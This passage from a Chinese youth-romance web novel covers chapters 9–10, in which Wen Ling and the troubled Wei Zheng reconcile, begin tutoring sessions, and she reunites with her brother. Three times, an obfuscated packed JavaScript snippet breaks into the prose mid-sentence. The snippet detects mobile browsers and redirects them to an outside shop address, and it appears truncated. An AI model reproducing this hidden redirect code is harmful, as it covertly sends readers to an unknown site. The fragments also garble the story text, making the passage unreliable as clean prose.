或许是因为妈妈的指责,林惊野的质问,又或许是因为乔诗燕和寝室楼里的那群女生对她那些满是偏见的揣测和议论。 从小到大,她从来都没有奢望过这个世界上有任何一个人能够真正理解她。 她只是突然觉得好累。 真的,好累好累。 累到什么都不想做,连打针和吃药的力气都不再有。 她靠着墙壁缓缓滑下去,双臂紧紧环抱住膝盖,颤抖着不断抽噎起来,泪水滂沱,哭得上气不接下气。 见她蹲在墙角瑟缩成一团,他的脸色越来越差,索性拎起她的胳膊搭在自己的脖子上,勾住她的膝弯强行将她抱了起来。 “对不起。” 她不再抗拒挣扎,任由他抱着自己,耳边却突然响起了他低声道歉的声音,和他抱着她的动作一样,小心翼翼,很轻很轻。 在她的印象里,他从来没有向任何人道过歉。 哪怕整天打架斗殴被班主任揪到走廊里指着鼻子骂,被家长抡起拳头打得鼻青脸肿,被学校领导在全校广播里指名道姓地通报批评,他也从来没有向任何人低过头,永远都是一副不把任何人放在眼里的样子。 这是第一次,她看到了和记忆里那么不一样的蔚铮。 * 正值流感频发的季节,诊所的输液室里人满为患,拥堵不堪,连走廊过道里都摆满了输液椅和输液架。医生给闻灵量完体温后,很快开了张输液单。护士配完药给她打针时,她靠在椅子上不小心睡着了,等她醒来后,发现一大瓶药已经见底,身上的疼痛终于减轻了不少。 她用目光在四周黑压压的人群中搜寻,没有看到蔚铮的身影,无意间垂下头,发现他的校服外套还盖在自己身上。 他已经回去了吗? 他果然说到做到,把她送到诊所就马上走了。 可是…… 可是,她还没来得及向他说声谢谢。 她心底莫名涌上一阵失落,下意识想去口袋里找手机,没注意到手上的吊针,直到针孔猛地传来刺痛,她的手腕突然被人一把握住。 她怔怔抬头,对上了少年一双漆黑晦暗的眼眸。 “你没走?”她的嗓音依旧沙哑,语气中却流露出难以掩饰的惊喜。 他没接话,俯身检查了一下她手背上的针孔,确认没有回血,才轻轻松开了她的手。 她默默注视着他的动作,忽然发现他左脸上的红肿还没消,不禁心生愧疚,哑着嗓音小声问:“你的脸……要不要冰敷一下?” “不用。”他说。 “谢谢你送我来诊所。”她向他道谢,目光缓缓下移,落到了他敞开的衬衣领口露出的刺目伤疤上,没忍住向他解释,“昨晚我不知道打架的那群人里有你,我看到有人打架就报警了。” “刚刚我以为……你要来报复我。”她不好意思地补充。 蔚铮一怔,忽然笑了,嘴角向上扯了扯,什么都没说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648285|206818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你笑什么?”她问他,“你不是一向有仇必报吗?所有人都这么说。” 他点点头,认可她的说法:“没错,我的确有仇必报。” “那你打算怎么报复我?”她决定把话和他挑明,眼前却突然天旋地转,握紧扶手定神缓了缓,强撑起冷静继续道,“咱们今天把账算清楚,以后两清,互不相欠。” “你都这样了,算得清楚吗?”他瞥了她一眼,嗤笑一声,不留情面地拆台问。 “等你病好了再说吧。”他说完马上转身离开,似乎不想和她这个连说话都吃力的病人多费半点口舌。 闻灵以为他已经走了,没想到就在自己连着咳了几声,喉咙干涩刺痛,四处张望着有没有水可以喝时,他突然再次出现,把一杯温水塞进了她手里。 她这才发现原来他一直都没走,而是站在她身后一个不起眼的角落里,只有在她需要帮忙的时候才会走过来,否则绝对不会出现在她的视野中。 墙角的光线很暗,四周没有灯,他穿着一身黑衣沉默地站在那里,仿佛和周遭的黑暗融为了一体。 可她却突然觉得自己的身后亮起了一盏灯,不是很大很亮,却散发着适宜的温度,足够温暖她此刻疲惫至极的身心。 忽然之间,她觉得一直笼罩在她心头的那团驱赶不掉的黑影正在逐渐消散,蔚铮这个名字在她心里开始变得不再那么压抑沉重了。 这是她孤单了这么久以来,第一次这么真实地感受到被另一个人陪伴的感觉。 * 输完液回到宿舍,闻灵把蔚铮的校服外套洗净烘干,第二天中午,她打算播放完校园广播就把校服给他送过去,却听见了校领导准备突袭检查全校学生校服和胸牌的消息。 午休时间,两栋教学楼外已经站满了负责检查仪容仪表的校领导和值周生。她不希望蔚铮因为没穿校服而被罚,想到男生宿舍楼和广播室离得近,索性对着话筒直接喊道:“高一(十六)班的蔚铮同学,听到广播后请马上到广播室。” “高一(十六)班的蔚铮同学,听到广播后请马上到广播室……” 闻灵说完,拎起纸袋想去外面等他,刚走到门口,忽然被人一把扯住胳膊拦下。她惊呼一声,踉跄着向后跌去,后背猝不及防地撞上了走廊楼梯间的墙壁。 “不想看到我,还大中午的把我喊来广播室?”蔚铮扯着她的手臂,眼神凌厉又尖锐,盯着她的眼睛问,“想干什么?” “把校服穿上。”她眨眨眼,把手里的纸袋递给他。 他挑了下眉,伸手接过纸袋,把里面的校服拿出来,胡乱几下套在了身上。 “等一下!”见他转身要走,她急忙喊住他,“你把胸牌也戴上!” “不戴。”他话音刚落,她突然一把抓住他的校服衣领,把他拽到了自己面前。 蔚铮被她拽得一个踉跄,刚勉强能站稳,就看见眼前的少女缓缓踮起脚尖,认认真真地把他的胸牌戴在了他胸膛的左前方。 “我说了我不戴。”他不耐烦地伸手要摘,却被她紧紧攥住了手指。 “你敢摘下来一下试试。”她攥着他的手指,毫不客气地警告他。 “闻灵。”他无奈笑了,疑惑不解地问,“你什么时候这么喜欢多管闲事了?我的事和你有关系?” 她没理他,松开手继续把他的胸牌摆正,拍拍他的胸脯,露出了一个满意的笑容。 见他正盯着自己,她大大方方地抬起头和他对视,微笑着说:“我就多管闲事了怎么样?想报复我吗?随时欢迎!” 他被气得一时没反应过来,她趁机飞快地跑下楼梯,边跑边笑盈盈地转过头看他,俨然一副来自胜利者的挑衅姿态。 直到快走到教学楼的时候,闻灵依旧时不时就会回过头,看一眼那个远远跟在自己身后的少年。 他双手插兜沉默地走着,脸上的笑容和身上的动作都懒洋洋的,举手投足间还是像小时候那样随意散漫,看上去什么都不在乎,永远无视任何人的管教和约束。然而当温暖细碎的阳光洒在那个身穿整洁校服的修长身影上,突然不穿黑色的他仿佛整个人都亮了起来,身上的气质少了平日里的冰冷阴郁,多了几分张扬不羁的少年感。 教导主任站在教学楼门口,发现蔚铮难得把校服穿得这么整齐,甚至连胸牌都戴得端端正正,瞅着他几乎快要把眼睛遮住的刘海,瞬间觉得更不顺眼了。教导主任上前拦住他的去路,一脸嫌弃地揪起他蓬松散乱的头发,皱着眉头问他到底什么时候才能把头发剪短。 闻灵转身走进教学楼,没忍住幸灾乐祸地笑了,脸上带着笑容偷看他,迎上他看向自己的带有警告意味的眼神,却笑得更开心了。 后来移居国外的数十年里,每当回忆起自己在市实验那段短暂的高中时光,她总是会想起那个永远隔着一段距离跟在她身后的少年。 那个她这一生中最后悔遇到,却也最不后悔遇到的少年,永远定格在了她的十六岁,留给了她数不尽的痛苦,却也留给了她数不尽的思念。 9. 和好 “我们和好吧,蔚同学。” * 一整个下午,在一班的教室里,闻灵听说了很多和蔚铮有关的八卦。 比如,蔚铮今天终于来学校了,居然还穿了校服、戴了胸牌。 比如,蔚铮又在教室里昏睡了一上午,十六班的班主任忍无可忍,下午一进班就把他拽到了走廊里罚站。 再比如,蔚铮每个课间都来一班的门口乱晃,疑似图谋不轨,估计是盯上了哪位惹到他的尖子生,又想打人了。 闻灵站在教室的过道里,一边收生物作业,一边没忍住笑出了声。 难道他以前来学校从来都不穿校服,也不戴胸牌吗?在教室里昏睡一上午,他是怎么做到的?他这么能睡吗?至于他为什么每个课间都来一班的门口乱晃,疑似图谋不轨,她也挺好奇的,他总来乱晃干嘛?一班有人搭理他吗? “你怎么总来我们班门口乱晃?”她抱着收齐的生物作业,刚走出教室,抬头就看到了靠在走廊窗台上拎着一瓶汽水盯着一班的门口发呆的蔚铮。 “没事儿闲的。”他回答得十分自然轻松。 “你不是昏睡了一上午吗?怎么不接着昏睡了?”她眨着眼睛问他。 “我倒是想睡,你往我校服上喷的什么香水啊?味儿这么冲,熏得我睡不着。” “铃兰花香的。”她说,“早知道这么管用,我就应该把一整瓶香水全倒上,省得你昏睡不醒。” “闻灵。”他被气笑了,喊她的名字,“我今天怎么昏睡的?昨晚是谁给你看点滴看到后半夜?挺会恩将仇报的是吧?” 她有些心虚,不知道该怎么接他的话,索性走到他面前,把手里的作业本一口气全部塞进他怀里:“既然你这么闲,那我给你找点儿事干。” “帮我把这些作业送到年级办公室尤主任的办公桌上,去吧!” 她说完,抢走他手里刚买的白桃味汽水,正准备拧开喝,忽然想到了什么,握着汽水瓶把胳膊伸得老远,边拧瓶盖边侧过身躲避,防止喷出来的泡沫再溅到自己脸上。 还没等她把瓶盖拧开,她就听见自己身后传来了蔚铮的笑声。他抱着一摞作业,目光盯着她手上的动作,笑得肆无忌惮,连肩膀都一颤一颤的。 她脸颊微微泛红,看到他把作业放在窗台上,伸手接过她手里的汽水瓶,轻而易举地拧开瓶盖,把汽水递给了她。 “怎么?就因为瓶盖是我拧开的,所以嫌脏又要扔?”见她不肯接,他挑眉问道。 这人果然记仇,她心想,下意识瞪了他一眼,把汽水瓶从他手里接了过去。 她故意当着他的面仰起头把汽水喝了大半瓶,然后抹了下唇角的水渍,挑衅般用力拧上瓶盖,扬着马尾转身就走。 视线余光里,她注意到他又笑了,笑得比刚才嘲笑她的时候还要开心,连不小心被一个冒失的男生猛地撞了一下都没有变脸,眼角眉梢依旧挂满了笑意。 这样的蔚铮让她觉得很陌生。 记忆中,他一直又冷又凶,喜欢斜着眼睛看人,脸上的表情永远是冷漠的,几乎从来不笑,就算笑也是冷笑。 她好像第一次看见他这么开心的样子。 是因为她喝了他拧开的汽水吗? 还是因为看到她不敢拧瓶盖,故意在嘲笑她? 她抱着怀里的汽水认真思考了一下,坚信答案绝对是第二种。 * 第二天上午,闻灵被洛彦叫到了他的办公室。 因为昨天蔚铮帮她送生物作业刚好被老洛撞见,脸上的笑容也被老洛尽收眼底,老洛灵机一动,给她安排了个好差事。 学校里很少有人能收拾得了蔚铮,但老洛突然发现,一班的闻灵可以。 校领导让老洛负责协助各班的班主任推进班级中的“一带一”帮扶计划,由一个尖子生辅导一个差生,可十六班的尖子生基本都是乖巧文静的女生,她们都很排斥和害怕跟蔚铮接触,无论老洛怎么劝,都没有人愿意给他辅导。 但闻灵似乎不一样。 老洛不止一次在办公室里夸奖过她性格随和开朗,为人处世不卑不亢,很有胆识和魄力,根基和本性也特别正。 她不知道老洛这么一个大大咧咧的数学老师是怎么讲出这些文绉绉的漂亮话的,更觉得他对自己的这些夸奖不过是在他在她的班主任赵雅淑面前的恭维,直到老洛决定把整个高一年级最难搞的蔚铮同学交给她,并且语重心长地对她说,希望她能帮帮这个孩子,不只是在学习成绩方面。 老洛说,蔚铮真的很聪明,只是不肯学。 老洛说,蔚铮下学期结束就要转学去L市了,那边上课进度快,希望她能提前帮他打打基础。 老洛说,蔚铮转学去L市是因为他的母亲在L市定居。蔚铮的父母很早就离婚了,蔚铮和他父亲一起生活,但他父亲是个酒鬼,喝完酒总打他。所以老洛联系了他的母亲,在和对方沟通后,对方决定明年就把蔚铮接到自己身边。 老洛说,蔚铮这孩子真的很让人心疼,他本性不坏,从不主动挑事打架。每次看见学校里有谁受了欺负,不管被欺负的人他认不认识,他都要冲上去帮人家讨回来,因此没少和那群混混结仇,自己也没少挨处分。 老洛说,自己的爱人是蔚铮的初中班主任。蔚铮家庭条件不好,基本靠贫困生补助来维持正常生活,初三那年他想辍学去外地打工,被自己的爱人拦了下来。他们两口子一起给蔚铮交了借读费,让他来市实验中学把高中读完,蔚铮答应了,却执意给他们写了欠条,说等他把钱赚够了,一定会把这笔钱还给他们。 闻灵静静地听着,眼眶不知不觉有些泛红。 她知道老洛说的不是假话,因为从他们重逢的那一晚开始,她就已经发现了,原来从小到大,她一直都不了解蔚铮,甚至不曾试图去了解过他。 * 走出老洛的办公室,闻灵没有回班,而是绕路去了高一(十六)班。 教室的后门敞开着,闻灵刚走到门口,一眼就看到了坐在教室角落靠窗位置上的蔚铮。眼前的少年忽然不再穿黑衣,而是规规矩矩地穿着全身的蓝白色校服。他的胸牌还戴在左胸靠近心脏的位置上,自从那天她把它戴上以后,他竟然真的再也没有摘下来过。 前两天刚被教导主任揪着头发说太长,今天他就剪了寸头,这么乖乖听话的样子让她觉得稀奇和新鲜,她没忍住,绽开了笑容,在门外朝他大喊了一声:“蔚铮!” 他循声抬头,朝她看过来,神色微怔,似乎很意外。教室后排的其他同学也被她吸引了注意,立刻骚动起来,凑到一起交头接耳。 和蔚铮同桌的男生看样子和他关系不错,在抬头看到她后使劲揉了揉眼睛,一把勾住蔚铮的脖子说:“我没看错吧?兄弟,闻女神来找你?” 蔚铮把他的手臂从脖子上扯了下去,刚站起身,后排的讨论声瞬间变得更加沸腾,一大群人齐刷刷地探着脑袋往她的方向看。 虽然从小到大,闻灵早就习惯了别人投在自己身上的目光,却很少被这么多人明目张胆地起哄过。她脸颊发烫,迅速低下头,避开众人的视线,靠在门边的墙壁上等他。 “找我有事?”蔚铮走到她面前,视线向斜下方低垂着,伸手不自然地摸了下后脑勺上的发茬。 “新发型不错,你昨天刚剪的?”闻灵说完,没忍住笑了起来,“剪这么短,是在故意报复主任吗?你这个人果然报复心很重!” 蔚铮向她投来警告的眼神,她却依旧笑得开心,丝毫没有收敛的意思。 “没事是吧?没事我走了。”他冷着声音说。 “等等!”见他要走,她连忙开口叫住他,“洛老师说让我给你补习!” “洛老师?”他皱眉,“老洛?” 她点点头。 “哦,不补。”他甩下这句话转身就走,闻灵立刻三步并作两步跑上前,伸出双臂拦住了他的路。 他差点迎面把她撞倒,幸亏眼疾手快托住了她的腰。他脸色一沉,拽起她的胳膊,把她拽回到后门旁边的墙壁上。 “闻灵你不怕摔是吧?”他急声吼道。 “那你答应让我给你补习。”她眨着亮亮的眼睛,扑闪着细长浓密的睫毛对他说。 “老洛到底是怎么说服你的?能让你答应给我补习?” “想知道吗?”她几步凑到他面前,仰着头望向他,笑容格外狡黠,“真想知道的话,今天下午的自习课来辅导教室找我!” “不许迟到!敢不来的话我直接去找老洛告状!”闻灵说完就转身跑开了,没管他答不答应,直接态度强硬地通知他,由不得他拒绝。 穿过走廊跑下楼梯的时候,视线余光里,她发现蔚铮还愣在原地,一脸不可思议地盯着她看,唇角却隐约带了笑意。直到同桌男生跑过来一把搭上他的肩膀,好奇地跟他一起朝她看过来,他才终于挪开了视线,在男生喋喋不休的追问下,面无表情地插兜走回了教室。 * 第六节下课铃响,闻灵带上坐垫、水杯、笔袋和各科作业,提前来到了辅导教室。第七节自习课铃响后,她从练习册中抬头,终于看到了一道姗姗来迟的身影。 蔚铮手里随意拿了张被折成一半的数学卷子,卷子的折叠处插了支黑色水笔,其余什么都没带。 闻灵让他先把卷子上会做的题都做完,他点点头,把手里的卷子摊开,却根本没去拿笔,而是玩起了手机。 闻灵盯着他懒散的动作看了一会儿,“啪”地放下了手里的笔。 “蔚铮,你再不动笔信不信我打你?”她一脸恼火地看着他说。 四周的空气顿时凝固了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648286|206818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿,从手机里抬头,讶异地挑眉看向她。 “闻灵,你信不信整个学校里就只有你敢这么和我说话?”他说。 “所以呢?”她直视着他的眼睛,问,“你又要像小时候一样用粉笔头打我吗?” 少年表情一愣,忽然沉默了。他埋下头,把手机扔到一边,烦躁地盯着卷面上用黑色铅字印刷的题目看,久久没再说话。 见他不回答,她也不说话了,叠起双臂背对着他趴在桌上,别过头不再理他。 “我没想用粉笔头打你。”他的声音很低,从她背后突然响起。 “那天我想用粉笔头打的是那两个男生,不是你。” “谁知道你会突然从讲台上跑下来?” “我想让他们给你道歉。”她把头转过来,嗓音里全是委屈,“谁知道会被你用粉笔头打?你知道你力气有多大吗?后来我打回来了才稍微解气。” “现在还想打回来吗?”他忽然看着她问。 她怔怔的:“你说什么?” “我说,现在让你打回来,怎么打都行,只要你能解气,行不行?”他拽起她的手臂,让她打自己,她费力地想要挣开,不明白他突然发什么疯。 他紧握着她的手臂,目光直视她,语气诚恳地说:“以后别再自己生闷气了,心里有什么气都直接往我身上撒。” “对待别人也一样。” “谁让你难受了,你就狠狠地还回来。整天憋在心里让自己难受,算什么本事?” 她眼睫颤了颤,忽然有点鼻酸,没吭声。 “这件事我一直欠你个解释,也欠你句道歉。” “对不起。”他说。 闻灵愣愣地看着他,半晌后开口问:“你还有别的事要向我解释吗?” “有。” “闻清出事那天,你来网吧门口找我,说我要报复你。” “我什么都没做。后来我查清楚了,是窦鹏那孙子又趁机要去找闻清的麻烦,被你发现之后,直接嫁祸到我头上。” “那你怎么不跟我解释?” “解释总得有个机会吧?”他忽然扯起唇角笑了下,眼神里满是自嘲,“从小到大,你给过我对你说一句话的机会吗?” “对不起,我向你道歉。”她抿紧双唇,眉头皱起,语气格外认真诚恳。 他垂下头继续看题,唇角依旧挂着自嘲的笑意,没再说什么。 见他不愿意接受自己的道歉,闻灵心中的歉意越来越深,搭在桌面上的指尖一点点蜷进了掌心里。她忽然想到什么,从座位上起身,对他说:“为了表示我的诚意,你等我一下,我马上回来!” 没等他反应过来,她就飞快地跑出了教室。 她来到校园超市,买了一本同学录和一包纸巾,又飞奔到医务室买了一盒创可贴,最后抱着买完的东西气喘吁吁地回到了辅导教室。 “给!同学录!”她站在他的书桌前,额头和脖子上淌满了汗,双手撑着桌沿剧烈急促地喘息着,“小学毕业之前我欠你一张,待会儿马上写完补给你。” “还有这个!也给你!”她把一包纸巾放在他面前,“初二下学期你递给我的那包纸巾,因为我没肯用,你把它扔掉了。现在我还你一包新的。” 她说着,打开纸巾抽出一张,一边擦汗一边说:“借我用一张,当作那一次被我用掉的。” “最后还有这个!”她把手里的创可贴也递给他,“你还记得吗?也是初二下学期,有一天放学路上,你看见我的胳膊受伤了,给了我一张创可贴用。” “其实第二天我就拿了一张新的想还给你,但后来你再也没出现。那天我看见你的手臂受伤了,伤口特别深,流了好多血。你受伤从来都不处理吗?你感觉不到疼吗?” “没什么感觉。”他低声答道。 “看出来了,你确实感觉不到。”她皱眉叹了口气,一把抓起他的右手,取出一张创可贴,撕开包装纸,小心翼翼地把它贴在了他青紫渗血的指节上。 贴完之后,她又抓起他的另一只手仔仔细细地查看,确认没有其他伤口后,才终于放下心来,把剩下的创可贴塞进他怀里。 “以后你把它随身带着,发现哪里受伤了,就拿出来一张贴上。” “别再让我发现你身上有伤口不处理!”她语气很凶地警告他。 创可贴是带有卡通动物图案的,结实又防水,是医务室里卖得最贵的一种。整个小盒子粉粉嫩嫩的,这么有少女心的东西,让他怎么用? 他盯着怀里的小盒子看了一会儿,无奈地笑了一下,却还是乖乖听话,把它装进了校服口袋里。 “知道了。”他说。 “那你现在可以接受我的道歉了吗?”她托腮看着他,眼睛分外明亮,笑眯眯地对他说,“我们和好吧,蔚同学。” 10. 止咳药 她开始说服自己去接受,这个世界并没有她想象中那么完美无瑕,包括亲情,包括友情,包括关乎人心的所有。 * 有了第一天补习的失败经验,第二天补习刚开始,闻灵就把蔚铮的手机给没收了。 “我们加个微信,再互相存一下手机号。晚上你写完作业记得全部拍照发给我,我给你批改。”闻灵说着,按亮他的手机屏幕,把手机递给他解锁。 他一顿,诧异地盯着她的动作。 “不想加?”她问。 “没。”他像是才反应过来,接过手机迅速解锁,然后递还给她。 他垂下头看题,余光却继续盯着她的动作看,注意到她拿着他的手机扫码、发送添加好友验证信息,又在自己的手机上按下通过键,接着用他的手机给自己拨通了电话,挂断后把他的电话号码存了下来。 他下意识弯起了唇角,忽然想起从小到大,学校里不知道有多少男生想加她的微信,但她一向只加同班同学,不认识的人一律不加。 当然,她愿意加微信的同班同学里,从来都不可能包括他。 果然是和好了,他想,连待遇都立马不一样了。 “你的头像也是纯黑的,和我哥的一样。”闻灵一边给他改备注一边说,“你和我哥是我见过的最喜欢黑色的人。” 她说完一愣,忽然意识到这是自从闻清离开以后,她第一次主动向别人提起闻清。 曾经被她认定为永远不可以轻易去触碰的禁区,竟然就这样被她当着蔚铮的面轻而易举地说了出来。 为什么会这样呢? 她想,或许是因为蔚铮是为数不多知道当年都发生过什么的人。 这么多年来,她从来没有主动向任何人提起过那场意外,因为不想再刻意记起,更不想把它变成别人用来私下议论她的谈资。 可蔚铮什么都知道。 他知道当年发生了什么,也知道小时候的闻灵有多么黏人,多么依赖她的哥哥。 他还知道在她的哥哥出国之后,那个黏人的闻灵大病了一场,从此以后像换了个人一样,每天独来独往,遇事永远自己解决,再也不会去麻烦和依赖任何人。 “闻清还在国外?”听完她的话,他也愣了一下,语气自然地问,“他的腿怎么样了?治好了吗?” 她放下手机,把下巴抵在手臂上,缓缓摇了摇头。 “所以林惊野总去你们班找你,是因为当年闻清受伤的事,他想替闻清照顾你?” 她点头。 沉默许久过后,他动了动喉咙,看着她的眼睛问:“那你喜欢林惊野吗?” 她突然转过身来,托腮打量他,微微皱起眉头,若有所思地问:“不对劲,你怎么突然这么八卦了?” “谁八卦了?”他避开眼神继续去看题,否认道,“我就随口一问,不想回答就算了……” “不喜欢。”他话没说完,她突然开口说。 “我和他是朋友,从小一起长大的好兄弟。”她认真严肃地向他强调。 “哦,知道了。”他依旧没抬头,拿起笔在草稿纸上写写画画,唇角的弧度却再也控制不了,止不住地向上弯。 * 翌日中午,因为最后一节语文课拖堂,闻灵打完饭的时候,发现食堂里基本已经没什么空位了。 食堂的座位分为男女两片就餐区域,两片区域交界的地方往往有空位的几率会大一点。这片区域经常会出现男女混坐的情况,早恋的小情侣们喜欢坐在附近浑水摸鱼。她实在找不到座位,打算来这片区域看看,忽然听见乔诗燕的声音从自己身后传来。 “灵灵,你也没找到座吗?”乔诗燕端着餐盘问她。 她点点头。 “对了,我正想问你,你真的答应给蔚铮补课了?为什么啊?是不是老洛强迫你的?还是老洛给你什么好处了?” 没等她回答,乔诗燕马上接着说:“你不是不想见到他吗?你亲口告诉我的。而且初中的时候你为了躲他,每天都留到最晚才走……” 乔诗燕话没说完,旁边的餐桌上突然传来“啪”的一声,闻灵循声抬头,看到蔚铮把手里的餐盘往桌上一扔,没什么表情地朝她们看了过来。 乔诗燕张大了嘴巴,愣愣和他对视了几秒,立刻扭过头避开他的视线,握住餐盘的指尖颤了颤,连脸色都有些泛白。 “诗燕,快过来!我找到个空座!”一道女声从斜前方响起,同班的女生高莎正举着饭卡朝乔诗燕招手。 “我先过去了!宿舍见灵灵!”乔诗燕连忙对她说,说完端着餐盘朝高莎快步跑了过去。 闻灵抿了抿唇,看向右边的蔚铮,发现他对面刚好有个空位,有点尴尬地问:“你对面有人吗?” 没等他回答,蒋烨就从他旁边抬起头,惊讶问道:“女神?你没找到座啊?” 她点点头。 “坐这儿!这儿没人!”他伸手指向蔚铮对面的座位,示意她坐下。 她礼貌地笑了笑,把餐盘放在桌上,发现自己旁边还有一个正在埋头吃饭的男生。男生也是十六班的,除了蒋烨,整个十六班只有他和蔚铮走得最近。 见她正在打量身侧的男生,蒋烨连忙说:“我介绍你们认识一下。” “这是郭旭,蔚铮我俩的哥们。” “这是闻灵,蔚铮的……”他顿了顿,看了蔚铮一眼,继续说道,“蔚铮的小学同学。” “你好。”她向郭旭打了个招呼。 男生并没有回应她,甚至连看都没看她一眼,低声说了句“我吃好了”,端起餐盘起身就走。 闻灵越发尴尬,听见蒋烨向她解释:“女神你不用管他,他这人就这样,平时也是这么对我们的。” 好奇怪的友谊,她夹着菜心想,听见蒋烨紧接着说:“初中的时候他挨欺负,是蔚铮教会的他怎么反抗。虽然他这破性格改不掉,但每次蔚铮遇到麻烦,他永远第一个上。” 她忽然想起了老洛的话,嘴角不禁弯了弯,眼神中流露出温柔。 “我也吃完了,先撤了。”蒋烨扒了几口饭,站起身说,“你们俩慢慢吃!” 蒋烨一走,气氛顿时又冷下了来。 闻灵犹豫片刻,准备向他解释一下刚才的误会,却不小心被辣椒呛到了嗓子,侧头捂着嘴咳了起来。 她咳得满脸通红,喉咙又干又疼,正想伸手拿水喝,却发现蔚铮已经拧开一瓶矿泉水递到了自己面前。 她连忙接过来喝了几口,清了下嗓子,脸上的红晕终于稍稍散去。 “你咳嗽怎么还没好?”他皱着眉问。 “快好了。”她把瓶盖拧上,淡淡回答说,“小学那次高烧落下的病根,后来一生病就会咳嗽,吃了药也不见好。” 蔚铮沉默地看着她,没再说什么。 * 吃完午饭回到寝室,闻灵在宿舍柜子里找出两粒止咳药吃,想起吃饭的时候蔚铮问她的话,思绪不知不觉陷入了回忆中。 小学五年级发生的那场意外似乎将她的童年划分成了两半,又或者说,那场意外彻底结束了她的童年。 伴随着妈妈打在她脸上的那一巴掌,伴随着闻清的意外受伤和出国,伴随着持续了一个多月的高烧和由此引发的后遗症,习惯了时时刻刻都被人保护和陪伴着的小公主闻灵终于不再沉溺于幻想世界中虚幻的美梦里,从那一刻学会了独自长大,学会了不再去依赖和求助于他人,也渐渐明白什么叫做孤独。 她开始说服自己去接受,这个世界并没有她想象中那么完美无瑕,包括亲情,包括友情,包括关乎人心的所有。 它们永远无法变成笔记本上那一张张可以被她撕掉重写的纸,它们不够完美,甚至是残缺和残酷的,但她只能接受。 “高二(十六)班要来转学生了,你们知道吗?”乔诗燕推门走进来时,扭头朝身后两个室友说,“听说是个从国外转过来的帅哥!” “帅哥,能有多帅?比林惊野和叶风还帅?”两个室友坏笑着接话。 乔诗燕耸耸肩,盯着她们问:“你们说,如果从咱们这届的男生里选个校草出来,应该选谁?” “我发个言,你俩别骂我。”一个室友小心翼翼地说,“……我想选蔚铮。” “只考虑颜值的话,蔚铮的确可以!我赞同!”另一个室友兴奋喊道,“虽然人有点可怕,但他是真的帅!” “赶紧把你俩的危险发言给我收回去!”乔诗燕瞪了两人一眼,心有余悸地说,“今天中午在食堂,我正说他坏话呢,结果他突然出现在我旁边,差点没把我吓死……” “灵灵!”乔诗燕抬头看到她,惊讶问道,“你今天回来得这么早啊!” 闻灵点点头,放下手里的玻璃杯,拿起手机爬上了床。 午睡前,她正想设置起床闹钟,手机提示音突然响了一下。 “下午给你个惊喜。”闻清给她发来一条消息,“早点到教室。” “?”她发了个问号过去,没有得到他的回复。 * 虽然不知道闻清卖的什么关子,但闻灵还是起床铃一响就下床收拾东西,提前半小时来到了教室。 做完一篇英语阅读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648287|206818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解,班上的同学们才陆续走进教室,一个女生在经过她的座位时敲了下桌沿说:“有人找。” 她起身走出门口,一抬头,便看到一道熟悉的身影出现在了她眼前。闻清穿着深灰色高领毛衣和黑色牛仔长裤倚在窗台上,一看见她,便抬脚朝她走了过来。 “哥!” 闻灵激动得一把扑进他的怀里,把头埋在他胸前,在熟悉的洗衣液香气涌入鼻腔的那一刻,鼻尖猛地一酸,眼泪不受控制地流了下来。 “哭了?”闻清握住她的手臂,让她和自己拉开点距离,垂眸去捕捉她的视线,“真哭了?” “怎么了?在学校住得不开心?”他关切询问。 她摇摇头。 “那就是单纯想我了?”闻清笑着问道。 她吸了吸鼻子,闷闷“嗯”了一声。 “你怎么来了?” “回来办转学。” “奶奶怎么没和我说?” “我让奶奶先别说的,不确定能不能顺利办下来,怕你白高兴一场。” “闻清,来教导处填张表!”走廊尽头,教导主任的声音突然传来。 “好!”闻清扭头应道,随后笑着揉了揉她的头,温声对她说,“先回去上课,晚上放学带你出去吃饭。想吃什么提前想好,到时候叫上林惊野一起,我请客。” “嗯。”闻灵点头答应。 闻清走后,她一个人躲进楼梯间里抹眼泪,鼻涕和泪水淌了满脸,被来来往往的学生们侧目围观,正狼狈地捂着脸躲避人群,突然被人从身后轻拍了下肩膀。 蔚铮没说话,示意她跟在自己身后,故意用高大的身躯遮挡住她,牵着她的手腕带她来到了走廊尽头的洗手间里。因为和教室离得远,又临近上课时间,洗手间里只有他们两个人。 她迅速拧开水龙头洗了把脸,接过他伸手递来的纸巾,一边擦脸一边说:“谢谢。” “见到你哥了?”他问。 她一愣,用力点了点头。 “开心吗?”他接着问。 “特别开心。”她笑容满面地说。 “既然你今天这么开心,那下午给我放个假,别补习了怎么样?”他吊儿郎当地靠在旁边的瓷砖墙上,唇角噙着笑,抱着双臂故意逗她问。 